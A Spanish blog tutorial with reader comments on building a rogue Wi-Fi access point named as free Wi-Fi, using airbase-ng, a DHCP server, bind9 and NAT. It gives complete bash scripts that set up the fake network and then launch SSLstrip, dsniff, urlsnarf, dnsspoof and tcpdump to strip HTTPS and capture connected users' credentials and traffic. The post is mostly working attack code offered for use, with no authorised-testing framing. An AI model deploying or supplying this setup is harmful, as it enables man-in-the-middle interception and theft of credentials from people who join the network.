Home > Bash Script, GNU/Linux, Programacion, Seguridad, Wireless > Creando un punto de acceso falso – II

Creando un punto de acceso falso – II

Post Actualizado: http://safetybits.net/2011/03/30/howto-rogue-ap/

Hace algún tiempo escribí un artículo a modo de manual con un script final para crear puntos de acceso falso usando airbase-ng.

En este segundo artículo, voy a resumir brevemente los pasos mencionados en el primer artículo y mostrar diferentes caminos y algunas aplicaciones finales.

Lo primero será instalar los servidores DHCP y DNS necesarios, y ajustar su configuración. En este caso usaré como servidor DHCP “dhcp3-server” y como servidor DNS “bind9″.

Dado que queremos ofrecer conexión a internet a los clientes, debemos configurar el servidor DHCP para usar los rangos de IP que creamos más convenientes, en el archivo /etc/dhcp3/dhcpd.conf, en mi caso queda así:

ddns-update-style none;
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.33 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

Para ahorrarnos problemas, nos aseguramos de que ambos demonios están detenidos:

/etc/init.d/dhcp3-server stop
/etc/init.d/bind9 stop

Acto seguido, ajustaremos los parámetros de “airbase-ng” en función a lo que queramos hacer, en mi caso crearé un AP con cifrado WEP, por lo que los pasos para montar el AP serán:

  1. airbase-ng -I 100 -P -C 2 -c 6 –essid Wifli_Gratis rausb0 -w 5A303031333439454430374333
  2. ifconfig at0 10.0.0.1 up
  3. dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
  4. sysctl net.ipv4.ip_forward=1
  5. iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
  6. /etc/init.d/bind9 start

Listo, con esto ya tendremos la red creada y proporcionaremos acceso a internet a los clientes:

Cell 06 – Address: XX:XX:XX:XX:XX:XX
ESSID:”Wifli”
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=96/100  Signal level=-31 dBm  Noise level=-127 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=ffffffffd4670326

Una vez tenemos a los clientes conectados, vamos con lo siguiente:

SSLstrip: Suplanta sesiones web HTTPS por HTTP

$ sudo apt-get install python python-twisted-web
$ wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz && tar xf sslstrip-0.6.tar.gz

DSniff: Suite – Principalmente usaremos ‘dsniff’, ‘urlsnarf’ y ‘dnsspoof’ para suplantar nombres de dominio

  • Para distribuciones basadas en Debian: $ sudo apt-get install dsniff
  • Fuentes: http://monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

p0f: Detección de SO pasivo

  • Para distribuciones basadas en Debian: $ sudo apt-get install p0f
  • Fuentes: http://lcamtuf.coredump.cx/p0f.tgz

TCPTrack: Monitor de conexiones TCP

  • Para distribuciones basadas en Debian: $ sudo apt-get install tcptrack
  • Fuentes: http://www.rhythm.cx/~steve/devel/tcptrack/release/1.2.0/source/tcptrack-1.2.0.tar.gz

Para comenzar está bien, aunque siempre podemos ponernos más “juguetones” y que el tráfico de red crezca de una manera descontrolada, usando karmetasploit.

Script para crear el AP:

#!/bin/sh
#
# Scriwap 1.5 - Script to create rogue AP
#
# Chema Garcia (a.k.a. sch3m4)
# [email protected]
# http://safetybits.net
#

RUTA_AIRBASE='/usr/local/sbin/airbase-ng'
RUTA_BIND9='/etc/init.d/bind9'
RUTA_DHCPD3S='/etc/init.d/dhcp3-server'
RUTA_DHCPD3='/usr/sbin/dhcpd3'
RUTA_CFG_DHCPD3='/etc/dhcp3/dhcpd.conf'
RUTA_SYSCTL='/sbin/sysctl'
RUTA_IPTABLES='/sbin/iptables'
AIRBASE_IFACE='at0'
LOG='.scriwap.log'

function check
{
 if [ ! $? -eq 0 ]
 then
 echo -e "[!] Error - Check "$LOG""
 exit $?
 fi
}

echo "###############################"
echo "#        SCRIWAP 1.5          #"
echo "#=============================#"
echo "#  Chema Garcia (aka sch3m4)  #"
echo "#      [email protected] #"
echo "#      http://safetybits.net      #"
echo "###############################"
echo ""

if [ $# -lt 4 ]
then
 echo -e "Use: $0 <iface_inet> <iface_monitor> <ip_gw> <netmask> <airbase_opt>\n"
 echo -e "Ej: $0 wlan0 rausb0 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

#comienzo de parametros de airbase
ifacenet=$1
ifacemon=$2
ip=$3
mascara=$4
narg=$#
num=5

while [ $# -gt 0 ] && [ $num -le $narg ];do
 param="$param $5"
 shift
 num=$(($num+1))
done
param="$param $ifacemon"

#Activamos el IP Forwarding
echo "[+] Setting up IP Forwarding"
sudo $RUTA_SYSCTL net.ipv4.ip_forward=1 2>&1 >> $LOG
check

echo "[+] Stopping DHCP daemon"
sudo $RUTA_DHCPD3S stop 2>&1 >> $LOG
echo "[+] Stopping DNS daemon"
sudo $RUTA_BIND9 stop 2>&1 >> $LOG

echo "[+] Flushing 'nat' table"
sudo $RUTA_IPTABLES -t nat -F
check

echo "[+] Adding iptables rule"
sudo $RUTA_IPTABLES -t nat -A POSTROUTING -o $ifacenet -j MASQUERADE
check

echo "[+] Setting up Acces Point..."
sudo rmmod tun 2>&1 >> $LOG
xterm -e sudo $RUTA_AIRBASE $param &
sleep 3

echo "[+] Settin up interface $AIRBASE_IFACE"
sudo ifconfig $AIRBASE_IFACE $ip netmask $mascara up
check

echo "[+] Starting DHCP daemon"
sudo $RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 $AIRBASE_IFACE 2>&1 >> $LOG
check

echo "[+] Starting DNS daemon"
sudo $RUTA_BIND9 start 2>&1 >> $LOG
check

echo -e "\n[+] Finished!\n"

exit 0

Script para lanzar las herramientas:

#!/bin/bash
#
# Chema Garcia (a.k.a. sch3m4)
# [email protected]
# http://safetybits.net
#

RUTA_IPTABLES='/sbin/iptables'
RUTA_SSLSTRIP='/home/sch3m4/FakeAP/sslstrip-0.6/sslstrip.py'
RUTA_DSNIFF='/usr/sbin/dsniff'
RUTA_URLSNARF='/usr/sbin/urlsnarf'
RUTA_DNSSPOOF='/usr/sbin/dnsspoof'
RUTA_P0F='/usr/sbin/p0f'
RUTA_TCPTRACK='/usr/bin/tcptrack'
RUTA_TCPDUMP='/usr/sbin/tcpdump'
PUERTO='4664'
RUTA_HOSTSDNS='' # You have to create a file to use dnsspoof

if [ ! $# -eq 1 ]
then
 echo -e "\nUse: $0 <iface>\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

echo -e "[?] Do you want to save the capture using tcpdump? (y/n): \c"
read SAVE

if [ "$SAVE" == 'y' ] || [ y"$SAVE" == 'y' ]
then
 SAVE_FILE=''
 while [ -z "$SAVE_FILE" ]
 do
 echo -e "[?] Filename: \c"
 read SAVE_FILE
 done
else
 SAVE_FILE=''
fi

echo '[+] Adding iptables rule'
sudo $RUTA_IPTABLES -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $PUERTO

echo -e '[+] Launching SSLstrip...\c'
xterm -e sudo $RUTA_SSLSTRIP -l $PUERTO &
echo 'OK'

echo -e '[+] Launching Dsniff...\c'
xterm -e sudo $RUTA_DSNIFF -i $1 &
echo 'OK'

if [ ! -z "$RUTA_HOSTSDNS" ]
then
 echo -e '[+] Launching DNSspoof...\c'
 xterm -e sudo $RUTA_DNSSPOOF -i $1 -f $RUTA_HOSTSDNS &
 echo 'OK'
fi

echo -e '[+] Launching p0f...\c'
xterm -e sudo $RUTA_P0F -i $1 -U -t &
echo 'OK'

echo -e '[+] Launching TCPtrack...\c'
xterm -e sudo $RUTA_TCPTRACK -i $1 &
echo 'OK'

echo -e '[+] Launching URLsnarf...\c'
xterm -e sudo $RUTA_URLSNARF -i $1 &
echo 'OK'

if [ ! -z "$SAVE_FILE" ]
then
 echo -e '[+] Launching TCPDump...\c'
 xterm -e sudo $RUTA_TCPDUMP -i $1 -w $SAVE_FILE &
 echo 'OK'
fi

exit 0

Ambos scripts están disponibles en:

http://pastebin.com/f671cce89
http://pastebin.com/f332a2d1a

Artículos Relacionados

  1. omega
    April 30th, 2010 at 01:13 | #1

    me podrias decir como congifuro rndc y por q no encuentra tun

    [+] Setting up IP Forwarding
    [+] Stopping DHCP daemon
    [+] Stopping DNS daemon
    rndc: connect failed: 127.0.0.1#953: connection refused
    [+] Flushing ‘nat’ table
    [+] Adding iptables rule
    [+] Setting up Acces Point…
    [+] Settin up interface at0
    SIOCSIFADDR: No such device
    at0: ERROR while getting interface flags: No such device
    SIOCSIFNETMASK: No such device
    at0: ERROR while getting interface flags: No such device
    [!] Error – Check .scriwap.log

  2. April 30th, 2010 at 01:21 | #2

    Si te fijas, el nombre de la nueva interface está harcodeado, así que si tienes varias interfaces tirando de tun, el script siempre intentará usar at0.

    ¿Has probado a realizar los mismos pasos a mano? Comprueba que puedes iniciar y detener los servicios sin problemas de configuraciones (lo necesario está en el post), y si te carga el módulo tun.

  3. omega
  4. omega
    April 30th, 2010 at 01:46 | #4

    @sch3m4
    si tun me carga en la maquina virtual pero donde tengo backtrack instalado no , nose por que?

  5. April 30th, 2010 at 01:50 | #5

    Si hablamos de varios sistemas, mal vamos :/ Si en backtrack no te carga tun, preguntales

  6. sushisan
    May 1st, 2010 at 14:40 | #6

    Hola:

    Si bien queda claro que la intencion de airbase es otra ( :-) ) es realmente interesante la posibilidad de utilzarlo para crear APs funcionales con placas wifi baratas que no soportan el modo master (por ejemplo la rtl8187L).

    De todos modos no soporta por ejemplo el uso de WPA ya que no esta implementado (solo una “mentirita” , pero no es funcional)

    Conoces algun modo de usarlo en conjunto con hostapd?

  7. May 12th, 2010 at 23:09 | #7

    Hola sushisan, te refieres a usar hostapd + airbase? Para qué quieres usar ambos a la vez?

    Para usar las herramientas que usa el script pero en lugar de airbase, usar hostapd, el procedimiento sería el mismo, cargar hostapd y luego las herramientas en la interface adecuada.

  8. sushisan
    May 26th, 2010 at 15:08 | #8

    la idea es usar aibase porque permite utilizar placas usb como AP que de otro modo serian imposibles de usar (pensemos qeu son poquisimos los chipsets que permiten el modo master!!!)

    airbase permite simnular pro soft el modo master, estaria faltando los sistemas de encriptacion estandard como wpa y wep

  9. Rafa
    March 13th, 2011 at 01:21 | #9

    Segui sus instrucciones paso a paso y no consigo resultados. Uso backtrack RD2.

    Tengo internet mediante ethernet (eth0) y wlan0 para ponerla en modo monitor, la cual me crea mon0.

    Creo el AP Falso, con otra computadora detecto la señal falsa, me conecto, pero me asigna la ip: 169.254.153.82

    Pense que era error de dhcp3-server y procedi a parar el servicio e instalar dnsmasq, y sucede lo mismo, la maquina cliente obtiene la ip: 169.254.153.82

    Se me hace extraño puesto que el rango del cual debe tomar la ip es: 10.0.0.33 10.0.0.254

    COmo puedo comprobar que mi dhcp server esta en funcionamiento y entregando las ips dentro del rango ?

    Que estoy haciendo mal?

  10. Rafael
    March 20th, 2011 at 08:43 | #10

    Hola! Puedes poner que configuracion usaste en Bind9? Si es posible detalle desde la instalacion de bind9 hasta su configuracion para que pueda funcionar con este tutorial, ya que usted ha omitido lo que pido. Quizas por eso me falla, pues solo instale Bind9 pero “no configure” nada. Gracias!

  11. March 20th, 2011 at 19:38 | #11

    @Rafael: Es la configuración por defecto, realmente no es necesario un servidor DNS a no ser que quieras \jugar\.

    @Rafa: La IP que te asigna es la APIPA (http://compnetworking.about.com/cs/protocolsdhcp/g/bldef_apipa.htm) así que realmente el fallo está en el servidor DHCP, o bien porque no has definido el rango en la coniguración, o no le has asignado la IP correcta a \atX\, o estas en otra interface.

    He recibido varios mails con preguntas similares, en cuanto tenga un rato intentaré publicar un post más explicativo.

    Gracias a ambos por leerme!

  1. October 26th, 2009 at 21:53 | #1